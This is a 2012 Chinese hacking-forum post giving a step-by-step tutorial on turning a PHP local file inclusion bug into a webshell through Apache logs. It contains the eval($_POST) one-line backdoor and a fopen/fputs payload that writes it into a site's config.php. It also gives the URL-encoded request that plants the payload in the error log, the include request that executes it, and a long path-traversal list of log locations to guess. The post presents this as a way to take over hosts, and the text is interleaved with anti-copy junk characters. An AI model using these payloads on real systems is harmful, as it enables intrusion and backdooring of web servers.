找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1814|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
% `5 A0 R0 C, j) H* ~! `4 e
' B; c+ R1 P5 }* T比如还是这句一句话木马
: _2 C9 s: j: d8 T9 |6 E; H$ @<?eval($_POST[cmd]);?>   
/ s5 `4 K+ Z" }' f" t! d, C
6 |( V# z+ T% q4 z& J到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
8 Y' u, {' j) ^& nfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
& w7 w' ]" \6 X6 z- A# f4 `& x
* [2 i! ]6 f- n2 c9 N6 j0 ]<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
/ W/ d: c+ a/ n% yfclose($fp);?>   //在config.php里写入一句木马语句 % m" l: X& f' q
+ X; [: O# P* c, v% s$ m5 S% ]7 c8 H# `
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 % d- G+ b! \5 L: L4 l: x
转换为
9 a/ I- i# E( b/ [  d%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
, t3 l! m, N3 Q- K# Z' n, S, ^3 fconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp * U0 e# \9 X, q
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B   ~( ^2 A; B4 G9 s9 A
fclose%28%24fp%29%3B%3F%3E - |: D4 R+ }# e: m. y
我们提交 5 d$ ^/ Q5 U4 b/ s
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww & K2 E. T9 v# c- g( E2 w% T
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
, F% G; {  Z% g+ S%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
) m9 u* Z0 Z; ?cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 8 F$ d, o" I3 G! r) e
- \8 G2 I# Q( [9 L# S7 D9 ~! t
这样就错误日志里就记录下了这行写入webshell的代码。 , `+ Z8 q3 s1 q6 ~( \$ E
我们再来包含日志,提交 ) W, Q; b* X4 W) y
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
2 m3 ]: Z4 ?  m2 ^6 [9 N. J( V6 b; [; [
这样webshell就写入成功了,config.php里就写入一句木马语句
1 z$ A9 U& l* e0 B/ N, ]OK.
4 j. `7 _; b) P- F! f8 rhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
: U+ }* \! [5 ^  l8 l) s- K直接用lanker的客户端一连,主机就是你的了。 ; Y0 ^6 G4 Z9 n1 g. m7 `

4 t2 {5 S. F" HPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 : A, w, s4 j: z  a
: j7 E7 Z7 a9 @  l5 x4 c
其他的日志路径,你可以去猜,也可以参照这里。 $ j5 m. u5 t( Z: k2 }# p( U; D
../../../../../../../../../../var/log/httpd/access_log   @5 P. r( R( V' g
../../../../../../../../../../var/log/httpd/error_log
8 s: }2 ^1 H- d9 I/ a/ P../apache/logs/error.log
- H* y3 A9 T' L../apache/logs/access.log
& `( M8 P- l% e) M../../apache/logs/error.log
9 |) R6 f/ F! l: v: W( s, T, E- A../../apache/logs/access.log ! g' p( E/ e3 }
../../../apache/logs/error.log # D. o- x5 a6 [: b
../../../apache/logs/access.log ' }7 ?' o( j$ T* r
../../../../../../../../../../etc/httpd/logs/acces_log
: t. ^( S6 @( G: Z9 m../../../../../../../../../../etc/httpd/logs/acces.log & p2 [) C: e6 t' C+ q# \& `8 j
../../../../../../../../../../etc/httpd/logs/error_log 6 J9 k) v6 h# T* Y* V; Y3 H
../../../../../../../../../../etc/httpd/logs/error.log   ?& c' y- G, m0 G" k' S
../../../../../../../../../../var/www/logs/access_log
' h( \. R0 W7 x  w- U% I0 @../../../../../../../../../../var/www/logs/access.log   F1 T+ P0 k/ q" k" W6 w
../../../../../../../../../../usr/local/apache/logs/access_log
/ I  U4 T, s) ~/ v+ C( C* C../../../../../../../../../../usr/local/apache/logs/access.log
# V+ C! H7 I2 }9 k" W( `. c../../../../../../../../../../var/log/apache/access_log - ~+ w& F; V  V5 D% G- T0 q2 ?
../../../../../../../../../../var/log/apache/access.log
9 j2 E( p8 }! e../../../../../../../../../../var/log/access_log
% n. Z, z5 R5 ]../../../../../../../../../../var/www/logs/error_log
; F. h, P, J* p8 r6 K( Q" k../../../../../../../../../../var/www/logs/error.log ( n# y% }1 C; U1 X0 z" s3 U
../../../../../../../../../../usr/local/apache/logs/error_log . G6 u" q: C0 A' T
../../../../../../../../../../usr/local/apache/logs/error.log # t) P( q# U# e. R6 X
../../../../../../../../../../var/log/apache/error_log
" s8 {7 a8 u6 ?/ A../../../../../../../../../../var/log/apache/error.log
4 k! H, b6 Y. ^- h../../../../../../../../../../var/log/access_log " A3 s. t5 I& Z' ?; `
../../../../../../../../../../var/log/error_log 8 ^/ p- v. F$ T" f
/var/log/httpd/access_log       " P, O- O/ w! i2 V! C6 }- D
/var/log/httpd/error_log     ; H0 _' }" u1 E
../apache/logs/error.log     2 W6 S+ A: i2 t7 K6 b
../apache/logs/access.log 6 z2 @) [0 d1 ~! `1 h  q
../../apache/logs/error.log
; C- n' ^' [7 ?8 Z( J../../apache/logs/access.log
$ ]* s  L/ [1 G1 D* H5 I5 d../../../apache/logs/error.log
4 b- J9 E5 ]# r1 i# ]4 G../../../apache/logs/access.log
; j; H2 U& x$ C' D2 T/etc/httpd/logs/acces_log
) C! Z6 J. {4 n  ]1 f0 m/etc/httpd/logs/acces.log
. j. h: z; @) F! ], w3 ^/etc/httpd/logs/error_log
3 u" ~- ]0 j$ u+ R0 S$ M/etc/httpd/logs/error.log - D/ `  j8 L+ {% ]& @3 B* _
/var/www/logs/access_log
' U# n' m/ T; }! i( k$ t2 A/var/www/logs/access.log ! A7 y. b9 n; c" j2 {* s  u
/usr/local/apache/logs/access_log + i% \" _6 F7 m+ S
/usr/local/apache/logs/access.log
$ W. i* M# [! a; H, ^/var/log/apache/access_log - @8 b4 I! z2 `; I! w5 i; \6 O
/var/log/apache/access.log ! [5 n) o1 I% t: h: ~
/var/log/access_log
: v  K. q: H# C& ^/var/www/logs/error_log
+ P2 D% U7 v/ {& o# I& e* ^/var/www/logs/error.log 8 f& D1 p6 \) G( Y( g
/usr/local/apache/logs/error_log
; W: y2 S! v9 b% M/usr/local/apache/logs/error.log & o$ ~7 B7 p6 B/ z- S* y
/var/log/apache/error_log 0 u5 ^4 @! H5 o3 |) \; L$ C
/var/log/apache/error.log ( V  j! r1 f/ T7 n8 o% A7 Z; s
/var/log/access_log
2 v: [- i7 M- }. `/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表